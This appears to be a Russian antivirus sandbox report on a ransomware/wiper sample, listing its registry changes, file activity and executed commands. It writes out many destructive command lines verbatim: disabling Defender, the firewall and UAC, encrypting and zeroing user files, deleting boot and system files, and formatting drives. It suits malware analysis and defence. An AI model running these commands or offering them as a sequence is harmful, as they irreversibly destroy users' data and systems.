Техническая информация
Для обеспечения автозапуска и распространения
Устанавливает следующие настройки сервисов
- [HKLM\System\CurrentControlSet\Services\EFS] 'Start' = '00000002'
- [HKLM\System\CurrentControlSet\Services\IKEEXT] 'Start' = '00000002'
Модифицирует главную загрузочную запись (MBR).
Вредоносные функции
Для обхода брандмауэра удаляет или модифицирует следующие ключи реестра
- [HKLM\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\DomainProfile] 'EnableFirewall' = '00000000'
- [HKLM\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile] 'EnableFirewall' = '00000000'
Для затруднения выявления своего присутствия в системе
блокирует запуск следующих системных утилит:
- Диспетчера задач (Taskmgr)
- Редактора реестра (RegEdit)
- Системный антивирус (Защитник Windows)
блокирует:
- Средство контроля пользовательских учетных записей (UAC)
Запускает на исполнение
- '%WINDIR%\syswow64\netsh.exe' advfirewall set allprofiles state off
Изменения в файловой системе
Создает следующие файлы
- %APPDATA%\microsoft\crypto\rsa\s-1-5-21-3691498038-2086406363-2140527554-1000\fb6736357fb32014f573511397600914_0cb67e2f-dc95-45ca-8fb8-69bde8e3f814
- %APPDATA%\microsoft\systemcertificates\my\certificates\8d2c224e2ac63feb637f44a63e82c7b6c59b4708
- C:\system volume information\efs0.log
- %HOMEPATH%\desktop\efs0.tmp
- %HOMEPATH%\desktop\ransom_note.txt
- %HOMEPATH%\documents\ransom_note.txt
- %HOMEPATH%\pictures\ransom_note.txt
- %HOMEPATH%\downloads\ransom_note.txt
- %HOMEPATH%\music\ransom_note.txt
- %HOMEPATH%\videos\ransom_note.txt
- %LOCALAPPDATA%\efs0.tmp
- %LOCALAPPDATA%\google\chrome\application\efs0.tmp
- %LOCALAPPDATA%\google\chrome\application\42.0.2311.135\efs0.tmp
Удаляет следующие файлы
- %HOMEPATH%\desktop\efs0.tmp
- %WINDIR%\syswow64\msvcp140_1.dll
- %WINDIR%\syswow64\msvcp140d.dll
- %WINDIR%\syswow64\msvcp140.dll
- %WINDIR%\syswow64\msvcp120d.dll
- %WINDIR%\syswow64\msvcp120.dll
- %WINDIR%\syswow64\msvcp110d.dll
- %WINDIR%\syswow64\msvcp110.dll
- %WINDIR%\syswow64\msvcp100d.dll
- %WINDIR%\syswow64\msvcp100.dll
- %WINDIR%\syswow64\msvcm90d.dll
- %WINDIR%\syswow64\msvcp140_atomic_wait.dll
- %WINDIR%\syswow64\msvcp140_2.dll
- %WINDIR%\syswow64\mfcm140.dll
- %WINDIR%\syswow64\mfcm120u.dll
- %WINDIR%\syswow64\mfcm120.dll
- %WINDIR%\syswow64\mfcm110u.dll
- %WINDIR%\syswow64\mfcm110.dll
- %WINDIR%\syswow64\mfcm100u.dll
- %WINDIR%\syswow64\mfcm100.dll
- %WINDIR%\syswow64\mfc140u.dll
- %WINDIR%\syswow64\mfc140rus.dll
- %WINDIR%\syswow64\mfc140kor.dll
- %WINDIR%\syswow64\msclmd.dll
- %WINDIR%\syswow64\mfc110enu.dll
- %WINDIR%\syswow64\msvcp140_codecvt_ids.dll
- %WINDIR%\syswow64\vcruntime140.dll
- %WINDIR%\syswow64\vcomp140.dll
- %WINDIR%\syswow64\vcomp120.dll
- %WINDIR%\syswow64\vcomp110.dll
- %WINDIR%\syswow64\vcomp100.dll
- %WINDIR%\syswow64\vccorlib140d.dll
- %WINDIR%\syswow64\vccorlib140.dll
- %WINDIR%\syswow64\vccorlib120d.dll
- %WINDIR%\syswow64\vccorlib120.dll
- %WINDIR%\syswow64\vccorlib110d.dll
- %WINDIR%\syswow64\vccorlib110.dll
- %WINDIR%\syswow64\vcamp140.dll
- %WINDIR%\syswow64\vcamp120.dll
- %WINDIR%\syswow64\vcamp110.dll
- %WINDIR%\syswow64\ucrtbased.dll
- %WINDIR%\syswow64\msvcr90d.dll
- %WINDIR%\syswow64\msvcr120d.dll
- %WINDIR%\syswow64\msvcr120.dll
- %WINDIR%\syswow64\msvcr110d.dll
- %WINDIR%\syswow64\msvcr110.dll
- %WINDIR%\syswow64\msvcr100_clr0400.dll
- %WINDIR%\syswow64\msvcr100d.dll
- %WINDIR%\syswow64\msvcr100.dll
- %WINDIR%\syswow64\mfc140jpn.dll
- %WINDIR%\syswow64\mfcm140u.dll
- %WINDIR%\syswow64\mfc140ita.dll
- %WINDIR%\syswow64\mfc140fra.dll
- %WINDIR%\syswow64\mfc140esn.dll
- %WINDIR%\syswow64\mfc100cht.dll
- %WINDIR%\syswow64\mfc110.dll
- %WINDIR%\syswow64\mfc100u.dll
- %WINDIR%\syswow64\mfc100rus.dll
- %WINDIR%\syswow64\mfc100kor.dll
- %WINDIR%\syswow64\mfc100jpn.dll
- %WINDIR%\syswow64\mfc100ita.dll
- %WINDIR%\syswow64\mfc100fra.dll
- %WINDIR%\syswow64\mfc100esn.dll
- %WINDIR%\syswow64\mfc100enu.dll
- %WINDIR%\syswow64\mfc100deu.dll
- %WINDIR%\syswow64\mfc100chs.dll
- %WINDIR%\syswow64\mfc110cht.dll
- %WINDIR%\syswow64\mfc100.dll
- %LOCALAPPDATA%\google\chrome\application\42.0.2311.135\efs0.tmp
- %LOCALAPPDATA%\google\chrome\application\efs0.tmp
- %LOCALAPPDATA%\efs0.tmp
- %WINDIR%\syswow64\concrt140d.dll
- %WINDIR%\syswow64\concrt140.dll
- %WINDIR%\syswow64\atl110.dll
- %WINDIR%\syswow64\atl100.dll
- C:\system volume information\efs0.log
- %WINDIR%\syswow64\aspnet_counters.dll
- %WINDIR%\syswow64\vcruntime140d.dll
- %WINDIR%\syswow64\msvcp90d.dll
- %WINDIR%\syswow64\mfc110deu.dll
- %WINDIR%\syswow64\mfc110fra.dll
- %WINDIR%\syswow64\mfc110chs.dll
- %WINDIR%\syswow64\mfc140enu.dll
- %WINDIR%\syswow64\mfc140deu.dll
- %WINDIR%\syswow64\mfc140cht.dll
- %WINDIR%\syswow64\mfc140chs.dll
- %WINDIR%\syswow64\mfc140.dll
- %WINDIR%\syswow64\mfc120u.dll
- %WINDIR%\syswow64\mfc120rus.dll
- %WINDIR%\syswow64\mfc120kor.dll
- %WINDIR%\syswow64\mfc120jpn.dll
- %WINDIR%\syswow64\mfc120ita.dll
- %WINDIR%\syswow64\mfc120fra.dll
- %WINDIR%\syswow64\mfc120esn.dll
- %WINDIR%\syswow64\mfc120enu.dll
- %WINDIR%\syswow64\mfc120deu.dll
- %WINDIR%\syswow64\mfc120cht.dll
- %WINDIR%\syswow64\mfc120chs.dll
- %WINDIR%\syswow64\mfc120.dll
- %WINDIR%\syswow64\mfc110u.dll
- %WINDIR%\syswow64\mfc110rus.dll
- %WINDIR%\syswow64\mfc110kor.dll
- %WINDIR%\syswow64\mfc110jpn.dll
- %WINDIR%\syswow64\mfc110ita.dll
- %WINDIR%\syswow64\mfc110esn.dll
- %WINDIR%\syswow64\vfpodbc.dll
Изменяет следующие файлы
- %HOMEPATH%\desktop\1189.jpeg
- %HOMEPATH%\desktop\1189.jpg
- %HOMEPATH%\desktop\13.jpeg
- %HOMEPATH%\desktop\13.jpg
- %HOMEPATH%\desktop\210252809.jpeg
- %HOMEPATH%\desktop\3.jpeg
- %HOMEPATH%\desktop\3.jpg
- %HOMEPATH%\desktop\4f0bf7ff71f28.jpeg
- %HOMEPATH%\desktop\adadsi.html
- %HOMEPATH%\desktop\advice_process.htm
- %HOMEPATH%\desktop\alert.htm
- %HOMEPATH%\desktop\alert.html
- %HOMEPATH%\desktop\google chrome.lnk
- %HOMEPATH%\desktop\telegram.lnk
- %LOCALAPPDATA%\google\chrome\application\debug.log
- %LOCALAPPDATA%\google\chrome\application\42.0.2311.135\42.0.2311.135.manifest
Подменяет следующие файлы
- C:\system volume information\efs0.log
- %HOMEPATH%\desktop\efs0.tmp
- %LOCALAPPDATA%\google\chrome\application\efs0.tmp
- %LOCALAPPDATA%\google\chrome\application\42.0.2311.135\efs0.tmp
Изменяет множество файлов пользовательских данных (Trojan.Encoder).
Сетевая активность
UDP
- 'localhost':58507
- 'localhost':55629
Другое
Запускает на исполнение
- '%WINDIR%\syswow64\cmd.exe' /c del /F /Q <SYSTEM32>\winload.exe
- '%WINDIR%\syswow64\cmd.exe' /c echo YOUR FILES HAVE BEEN ENCRYPTED! Send 5 BTC to unlock. Your personal files, photos, and memories are gone forever unless you pay. > %HOMEPATH%\Videos\RANSOM_NOTE.txt
- '%WINDIR%\syswow64\cipher.exe' /E /A /S:%HOMEPATH%\Videos
- '%WINDIR%\syswow64\cmd.exe' /c cipher /E /A /S:%HOMEPATH%\Videos
- '%WINDIR%\syswow64\cmd.exe' /c echo YOUR FILES HAVE BEEN ENCRYPTED! Send 5 BTC to unlock. Your personal files, photos, and memories are gone forever unless you pay. > %HOMEPATH%\Music\RANSOM_NOTE.txt
- '%WINDIR%\syswow64\cipher.exe' /E /A /S:%HOMEPATH%\Music
- '%WINDIR%\syswow64\cmd.exe' /c cipher /E /A /S:%HOMEPATH%\Music
- '%WINDIR%\syswow64\cmd.exe' /c echo YOUR FILES HAVE BEEN ENCRYPTED! Send 5 BTC to unlock. Your personal files, photos, and memories are gone forever unless you pay. > %HOMEPATH%\Downloads\RANSOM_NOTE.txt
- '%WINDIR%\syswow64\cipher.exe' /E /A /S:%HOMEPATH%\Downloads
- '%WINDIR%\syswow64\cmd.exe' /c cipher /E /A /S:%HOMEPATH%\Downloads
- '%WINDIR%\syswow64\cmd.exe' /c echo YOUR FILES HAVE BEEN ENCRYPTED! Send 5 BTC to unlock. Your personal files, photos, and memories are gone forever unless you pay. > %HOMEPATH%\Pictures\RANSOM_NOTE.txt
- '%WINDIR%\syswow64\cipher.exe' /E /A /S:%HOMEPATH%\Pictures
- '%WINDIR%\syswow64\cmd.exe' /c cipher /E /A /S:%HOMEPATH%\Pictures
- '%WINDIR%\syswow64\cmd.exe' /c echo YOUR FILES HAVE BEEN ENCRYPTED! Send 5 BTC to unlock. Your personal files, photos, and memories are gone forever unless you pay. > %HOMEPATH%\Documents\RANSOM_NOTE.txt
- '%WINDIR%\syswow64\cipher.exe' /E /A /S:%HOMEPATH%\Documents
- '%WINDIR%\syswow64\cmd.exe' /c cipher /E /A /S:%HOMEPATH%\Documents
- '%WINDIR%\syswow64\cmd.exe' /c echo YOUR FILES HAVE BEEN ENCRYPTED! Send 5 BTC to unlock. Your personal files, photos, and memories are gone forever unless you pay. > %HOMEPATH%\Desktop\RANSOM_NOTE.txt
- '%WINDIR%\syswow64\cmd.exe' /c for /r "%HOMEPATH%\Videos" %x in (*) do fsutil file setZeroData offset=0 length=999999999 "%x"
- '%WINDIR%\syswow64\cmd.exe' /c for /r "%HOMEPATH%\Music" %x in (*) do fsutil file setZeroData offset=0 length=999999999 "%x"
- '%WINDIR%\syswow64\cmd.exe' /c netsh advfirewall set allprofiles state off
- '%WINDIR%\syswow64\cmd.exe' /c for /r "%HOMEPATH%\Downloads" %x in (*) do fsutil file setZeroData offset=0 length=999999999 "%x"
- '%WINDIR%\syswow64\reg.exe' add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f
- '%WINDIR%\syswow64\cmd.exe' /c for /r "%HOMEPATH%\Documents" %x in (*) do fsutil file setZeroData offset=0 length=999999999 "%x"
- '%WINDIR%\syswow64\cmd.exe' /c for /r "%HOMEPATH%\Pictures" %x in (*) do fsutil file setZeroData offset=0 length=999999999 "%x"
- '%WINDIR%\syswow64\cmd.exe' /c cipher /E /A /S:%HOMEPATH%\AppData
- '%WINDIR%\syswow64\cipher.exe' /E /A /S:%HOMEPATH%\AppData
- '%WINDIR%\syswow64\cmd.exe' /c del /F /Q /S C:\Recovery\*.*
- '%WINDIR%\syswow64\cmd.exe' /c del /F /Q <SYSTEM32>\config\*.*
- '%WINDIR%\syswow64\cmd.exe' /c del /F /Q %WINDIR%\regedit.exe
- '%WINDIR%\syswow64\cmd.exe' /c del /F /Q %WINDIR%\explorer.exe
- '%WINDIR%\syswow64\cmd.exe' /c del /F /Q <SYSTEM32>\*.exe
- '%WINDIR%\syswow64\cmd.exe' /c del /F /Q <DRIVERS>\*.sys
- '%WINDIR%\syswow64\cmd.exe' /c bcdedit /set {default} bootstatuspolicy ignoreallfailures
- '%WINDIR%\syswow64\cmd.exe' /c bcdedit /set {default} recoveryenabled No
- '%WINDIR%\syswow64\reg.exe' add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Setup\RecoveryConsole" /v SecurityLevel /t REG_DWORD /d 0 /f
- '%WINDIR%\syswow64\cmd.exe' /c reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Setup\RecoveryConsole" /v SecurityLevel /t REG_DWORD /d 0 /f
- '%WINDIR%\syswow64\cmd.exe' /c reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\SystemRestore" /v DisableSR /t REG_DWORD /d 1 /f
- '%WINDIR%\syswow64\fsutil.exe' file setZeroData offset=0 length=999999999 "%HOMEPATH%\Desktop\Google Chrome.lnk"
- '%WINDIR%\syswow64\reg.exe' add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableRegistryTools /t REG_DWORD /d 1 /f
- '%WINDIR%\syswow64\cmd.exe' /c reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableRegistryTools /t REG_DWORD /d 1 /f
- '%WINDIR%\syswow64\reg.exe' add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f
- '%WINDIR%\syswow64\cmd.exe' /c reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f
- '%WINDIR%\syswow64\sc.exe' config wuauserv start=disabled
- '%WINDIR%\syswow64\cmd.exe' /c sc config wuauserv start=disabled
- '%WINDIR%\syswow64\sc.exe' stop wuauserv
- '%WINDIR%\syswow64\cmd.exe' /c sc stop wuauserv
- '%WINDIR%\syswow64\reg.exe' add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
- '%WINDIR%\syswow64\cmd.exe' /c reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
- '%WINDIR%\syswow64\fsutil.exe' file setZeroData offset=0 length=999999999 "%HOMEPATH%\Desktop\utorrent.exe"
- '%WINDIR%\syswow64\cmd.exe' /c reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f
- '%WINDIR%\syswow64\fsutil.exe' file setZeroData offset=0 length=999999999 "%HOMEPATH%\Desktop\Telegram.lnk"
- '%WINDIR%\syswow64\fsutil.exe' file setZeroData offset=0 length=999999999 "%HOMEPATH%\Desktop\adadsi.html"
- '<SYSTEM32>\efsui.exe' /efs /keybackup
- '%WINDIR%\syswow64\fsutil.exe' file setZeroData offset=0 length=999999999 "%HOMEPATH%\Desktop\4f0bf7ff71f28.jpeg"
- '%WINDIR%\syswow64\cmd.exe' /c del /F /Q X:\EFI\Microsoft\Boot\*.*
- '%WINDIR%\syswow64\fsutil.exe' file setZeroData offset=0 length=999999999 "%HOMEPATH%\Desktop\3.jpg"
- '%WINDIR%\syswow64\fsutil.exe' file setZeroData offset=0 length=999999999 "%HOMEPATH%\Desktop\3.jpeg"
- '%WINDIR%\syswow64\mountvol.exe' X: /s
- '%WINDIR%\syswow64\fsutil.exe' file setZeroData offset=0 length=999999999 "%HOMEPATH%\Desktop\210252809.jpeg"
- '%WINDIR%\syswow64\fsutil.exe' file setZeroData offset=0 length=999999999 "%HOMEPATH%\Desktop\13.jpg"
- '%WINDIR%\syswow64\cmd.exe' /c mountvol X: /s
- '%WINDIR%\syswow64\fsutil.exe' file setZeroData offset=0 length=999999999 "%HOMEPATH%\Desktop\13.jpeg"
- '%WINDIR%\syswow64\fsutil.exe' file setZeroData offset=0 length=999999999 "%HOMEPATH%\Desktop\1189.jpg"
- '%WINDIR%\syswow64\cmd.exe' /c bcdedit /delete {default} /f
- '%WINDIR%\syswow64\cmd.exe' /c bcdedit /delete {bootmgr} /f
- '%WINDIR%\syswow64\fsutil.exe' file setZeroData offset=0 length=999999999 "%HOMEPATH%\Desktop\1189.jpeg"
- '%WINDIR%\syswow64\cipher.exe' /E /A /S:%HOMEPATH%\Desktop
- '%WINDIR%\syswow64\cmd.exe' /c del /F /Q C:\bootmgr
- '%WINDIR%\syswow64\cmd.exe' /c for /r "%HOMEPATH%\Desktop" %x in (*) do fsutil file setZeroData offset=0 length=999999999 "%x"
- '%WINDIR%\syswow64\cmd.exe' /c del /F /Q <SYSTEM32>\*.dll
- '%WINDIR%\syswow64\cmd.exe' /c cipher /E /A /S:%HOMEPATH%\Desktop
- '%WINDIR%\syswow64\fsutil.exe' file setZeroData offset=0 length=999999999 "%HOMEPATH%\Desktop\advice_process.htm"
- '%WINDIR%\syswow64\fsutil.exe' file setZeroData offset=0 length=999999999 "%HOMEPATH%\Desktop\alert.htm"
- '%WINDIR%\syswow64\cmd.exe' /c mountvol X: /d
- '%WINDIR%\syswow64\mountvol.exe' X: /d
- '%WINDIR%\syswow64\fsutil.exe' file setZeroData offset=0 length=999999999 "%HOMEPATH%\Desktop\tcm851ax32.exe"
- '%WINDIR%\syswow64\fsutil.exe' file setZeroData offset=0 length=999999999 "%HOMEPATH%\Desktop\alert.html"
- '%WINDIR%\syswow64\cmd.exe' /c bcdedit /delete {current} /f
- '%WINDIR%\syswow64\fsutil.exe' file setZeroData offset=0 length=999999999 "%HOMEPATH%\Desktop\split.avi"
- '%WINDIR%\syswow64\format.com' E: /fs:raw /q /y
- '%WINDIR%\syswow64\cmd.exe' /c format E: /fs:raw /q /y
- '%WINDIR%\syswow64\fsutil.exe' file setZeroData offset=0 length=999999999 "%HOMEPATH%\Desktop\SDKSamplePrivDeveloper.cer"
- '%WINDIR%\syswow64\format.com' D: /fs:raw /q /y
- '%WINDIR%\syswow64\fsutil.exe' file setZeroData offset=0 length=999999999 "%HOMEPATH%\Desktop\region-north-karelia.jpg"
- '%WINDIR%\syswow64\fsutil.exe' file setZeroData offset=0 length=999999999 "%HOMEPATH%\Desktop\howto-index.html"
- '%WINDIR%\syswow64\cmd.exe' /c format D: /fs:raw /q /y
- '%WINDIR%\syswow64\reg.exe' add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\SystemRestore" /v DisableSR /t REG_DWORD /d 1 /f
- '%WINDIR%\syswow64\cmd.exe' /c del /F /Q <SYSTEM32>\restore\*.*
- '%WINDIR%\syswow64\fsutil.exe' file setZeroData offset=0 length=999999999 "%HOMEPATH%\Desktop\Garden.htm"
- '%WINDIR%\syswow64\fsutil.exe' file setZeroData offset=0 length=999999999 "%HOMEPATH%\Desktop\file_p_00000000_1371597592.docx"
- '%WINDIR%\syswow64\fsutil.exe' file setZeroData offset=0 length=999999999 "%HOMEPATH%\Desktop\dashBorder_96.bmp"
- '%WINDIR%\syswow64\fsutil.exe' file setZeroData offset=0 length=999999999 "%HOMEPATH%\Desktop\correct.avi"
- '%WINDIR%\syswow64\fsutil.exe' file setZeroData offset=0 length=999999999 "%HOMEPATH%\Desktop\contoso_1.cer"
- '%WINDIR%\syswow64\fsutil.exe' file setZeroData offset=0 length=999999999 "%HOMEPATH%\Desktop\contosoroot.cer"
- '%WINDIR%\syswow64\format.com' C: /fs:raw /q /y
- '%WINDIR%\syswow64\fsutil.exe' file setZeroData offset=0 length=999999999 "%HOMEPATH%\Desktop\calc.exe"
- '%WINDIR%\syswow64\fsutil.exe' file setZeroData offset=0 length=999999999 "%HOMEPATH%\Desktop\applicantform_en.doc"
- '%WINDIR%\syswow64\cmd.exe' /c format C: /fs:raw /q /y
- '%WINDIR%\syswow64\fsutil.exe' file setZeroData offset=0 length=999999999 "%HOMEPATH%\Desktop\hanni_umami_chapter.doc"
- '%WINDIR%\syswow64\cmd.exe' /c del /F /Q %WINDIR%\repair\*.*
